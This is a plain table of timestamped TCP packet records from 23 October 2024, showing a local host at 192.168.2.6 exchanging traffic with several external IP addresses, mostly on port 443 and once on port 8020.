Oct 23, 2024 21:04:07.477010012 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.477086067 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.477094889 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.477128983 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.477144957 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.590766907 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.590816975 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.590854883 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.590862989 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.590898991 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.653341055 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.653390884 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.653419971 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.653429031 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.653458118 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.653476954 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.712573051 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.712640047 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.712682009 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.712688923 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.712722063 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.712739944 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.713278055 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.713340998 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.713347912 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.713375092 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.713411093 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.713613987 CEST	49736	443	192.168.2.6	199.188.200.183
Oct 23, 2024 21:04:07.713623047 CEST	443	49736	199.188.200.183	192.168.2.6
Oct 23, 2024 21:04:07.878771067 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:04:07.879751921 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.879789114 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.879853964 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.880188942 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.880230904 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.880286932 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.880506992 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.880527020 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.880779982 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.880796909 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.884186983 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:04:07.884248018 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:04:07.884525061 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:04:07.890415907 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:04:07.952070951 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:07.952136040 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:07.954319954 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:07.954325914 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:07.954538107 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:07.982757092 CEST	443	49752	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.983697891 CEST	49752	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.983724117 CEST	443	49752	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.984185934 CEST	49752	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.984191895 CEST	443	49752	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.988697052 CEST	443	49754	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.989239931 CEST	49754	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.989255905 CEST	443	49754	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.989881992 CEST	49754	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.989886999 CEST	443	49754	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.990272045 CEST	443	49753	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.990987062 CEST	49753	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.991005898 CEST	443	49753	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.991373062 CEST	49753	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:07.991379023 CEST	443	49753	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:07.996984005 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:08.008378029 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:08.055326939 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:08.083240986 CEST	443	49755	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.083725929 CEST	49755	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.083739042 CEST	443	49755	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.084400892 CEST	49755	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.084405899 CEST	443	49755	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.120820999 CEST	443	49752	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.121211052 CEST	443	49752	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.121272087 CEST	49752	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.128731012 CEST	443	49756	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.132097960 CEST	443	49753	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.132253885 CEST	443	49753	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.132428885 CEST	49753	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.133093119 CEST	443	49754	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.133179903 CEST	443	49754	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.133232117 CEST	49754	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.167309046 CEST	49752	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.167337894 CEST	443	49752	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.167352915 CEST	49752	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.167357922 CEST	443	49752	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.170690060 CEST	49754	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.170696974 CEST	443	49754	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.170705080 CEST	49754	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.170708895 CEST	443	49754	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.174101114 CEST	49756	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.174135923 CEST	443	49756	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.174252987 CEST	49753	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.174271107 CEST	443	49753	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.174289942 CEST	49753	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.174295902 CEST	443	49753	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.174690962 CEST	49756	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.174698114 CEST	443	49756	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.178294897 CEST	49760	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.178365946 CEST	443	49760	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.178448915 CEST	49760	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.178453922 CEST	49761	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.178519964 CEST	443	49761	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.178591967 CEST	49761	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.179013014 CEST	49760	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.179047108 CEST	443	49760	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.179305077 CEST	49761	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.179347038 CEST	443	49761	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.179552078 CEST	49762	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.179570913 CEST	443	49762	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.179641008 CEST	49762	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.179912090 CEST	49762	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.179939985 CEST	443	49762	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.220700979 CEST	443	49755	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.220954895 CEST	443	49755	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.221012115 CEST	49755	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.221081018 CEST	49755	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.221081972 CEST	49755	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.221090078 CEST	443	49755	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.221097946 CEST	443	49755	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.224097013 CEST	49763	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.224138021 CEST	443	49763	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.224217892 CEST	49763	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.224375963 CEST	49763	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.224404097 CEST	443	49763	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.249593019 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:08.249692917 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:08.249751091 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:08.249813080 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:08.249849081 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:08.249876022 CEST	49751	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:08.249893904 CEST	443	49751	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:08.287753105 CEST	49764	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:08.287802935 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:08.287878990 CEST	49764	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:08.288397074 CEST	49764	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:08.288413048 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:08.311109066 CEST	443	49756	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.311285019 CEST	443	49756	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.311359882 CEST	49756	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.311455965 CEST	49756	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.311476946 CEST	443	49756	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.311501026 CEST	49756	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.311506987 CEST	443	49756	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.316626072 CEST	49765	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.316652060 CEST	443	49765	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.316708088 CEST	49765	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.317037106 CEST	49765	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.317053080 CEST	443	49765	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.556372881 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:04:08.556480885 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:04:08.556531906 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:04:08.559189081 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:04:08.559576988 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:04:08.564605951 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:04:08.564939022 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:04:08.640526056 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.640872955 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.640899897 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.642422915 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.642481089 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.644202948 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.644296885 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.644602060 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.644617081 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.653209925 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.653461933 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.653480053 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.657026052 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.657092094 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.657651901 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.657728910 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.658377886 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.658392906 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.699336052 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.699337959 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.717868090 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:04:08.731530905 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:08.731587887 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:08.732855082 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:08.733102083 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:08.733129978 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:08.764820099 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:04:08.777398109 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.777429104 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.777527094 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.777574062 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.780958891 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.788145065 CEST	49758	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.788171053 CEST	443	49758	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.802891970 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:08.802978039 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:08.803267956 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:08.803354979 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:08.803375959 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:08.929497957 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.929558039 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.929579973 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.929619074 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.929675102 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.929711103 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.929711103 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.929712057 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.929732084 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.929758072 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.929789066 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.929799080 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.929924011 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.930104971 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.930304050 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.930310965 CEST	443	49759	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.930408001 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.933374882 CEST	49759	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.940567970 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:08.940606117 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:08.940757990 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:08.942364931 CEST	443	49762	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.942492962 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:08.942507029 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:08.943353891 CEST	49762	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.943409920 CEST	443	49762	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.943839073 CEST	49762	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.943852901 CEST	443	49762	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.944281101 CEST	443	49760	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.944801092 CEST	49760	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.944829941 CEST	443	49760	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.944976091 CEST	49760	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.944987059 CEST	443	49760	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.951550961 CEST	443	49761	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.952222109 CEST	49761	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.952295065 CEST	443	49761	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.952557087 CEST	49761	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.952572107 CEST	443	49761	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.990438938 CEST	443	49763	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.990901947 CEST	49763	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.990947962 CEST	443	49763	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:08.991288900 CEST	49763	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:08.991302967 CEST	443	49763	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.076988935 CEST	443	49762	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.077316046 CEST	443	49762	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.078823090 CEST	49762	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.078886986 CEST	49762	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.078924894 CEST	443	49762	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.078964949 CEST	49762	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.078982115 CEST	443	49762	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.080837965 CEST	443	49760	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.080903053 CEST	443	49760	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.081054926 CEST	49760	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.081237078 CEST	49760	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.081248999 CEST	443	49760	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.081294060 CEST	49760	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.081304073 CEST	443	49760	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.083550930 CEST	49770	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.083600044 CEST	443	49770	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.083610058 CEST	49769	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.083641052 CEST	443	49769	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.083718061 CEST	49770	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.083734989 CEST	49769	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.084018946 CEST	49769	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.084029913 CEST	443	49769	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.084439993 CEST	49770	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.084455967 CEST	443	49770	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.085299015 CEST	443	49765	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.086611032 CEST	49765	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.086623907 CEST	443	49765	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.087521076 CEST	49765	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.087526083 CEST	443	49765	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.087713003 CEST	443	49761	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.087887049 CEST	443	49761	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.088207960 CEST	49761	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.088341951 CEST	49761	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.088341951 CEST	49761	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.088357925 CEST	443	49761	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.088367939 CEST	443	49761	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.091118097 CEST	49771	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.091135025 CEST	443	49771	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.091289997 CEST	49771	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.092860937 CEST	49771	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.092869043 CEST	443	49771	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.129713058 CEST	443	49763	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.129863977 CEST	443	49763	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.130295992 CEST	49763	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.130295992 CEST	49763	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.130338907 CEST	49763	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.130357981 CEST	443	49763	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.132915974 CEST	49772	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.132965088 CEST	443	49772	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.133341074 CEST	49772	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.133435011 CEST	49772	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.133454084 CEST	443	49772	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.136585951 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:09.136842966 CEST	49764	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:09.148808002 CEST	49764	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:09.148828983 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:09.149228096 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:09.152798891 CEST	49764	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:09.199333906 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:09.224222898 CEST	443	49765	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.224683046 CEST	443	49765	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.224853039 CEST	49765	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.224853992 CEST	49765	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.225006104 CEST	49765	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.225023031 CEST	443	49765	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.227475882 CEST	49773	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.227541924 CEST	443	49773	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.228990078 CEST	49773	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.229110956 CEST	49773	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:09.229130983 CEST	443	49773	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:09.360965967 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:09.367804050 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:09.367820978 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:09.370071888 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:09.372792959 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:09.387123108 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:09.387123108 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:09.387140036 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:09.387276888 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:09.395962954 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:09.396042109 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:09.396111012 CEST	49764	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:09.420757055 CEST	49764	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:09.420757055 CEST	49764	443	192.168.2.6	184.28.90.27
Oct 23, 2024 21:04:09.420795918 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:09.420821905 CEST	443	49764	184.28.90.27	192.168.2.6
Oct 23, 2024 21:04:09.436800957 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:09.436811924 CEST	443	49766	104.26.12.205	192.168.2.6
Oct 23, 2024 21:04:09.480895042 CEST	49766	443	192.168.2.6	104.26.12.205
Oct 23, 2024 21:04:09.534970045 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.535224915 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.535239935 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.536686897 CEST	443	49767	13.107.246.45	192.168.2.6
Oct 23, 2024 21:04:09.536756992 CEST	49767	443	192.168.2.6	13.107.246.45
Oct 23, 2024 21:04:09.537182093 CEST	49767	443	192.168.2.6	13.107.246.45
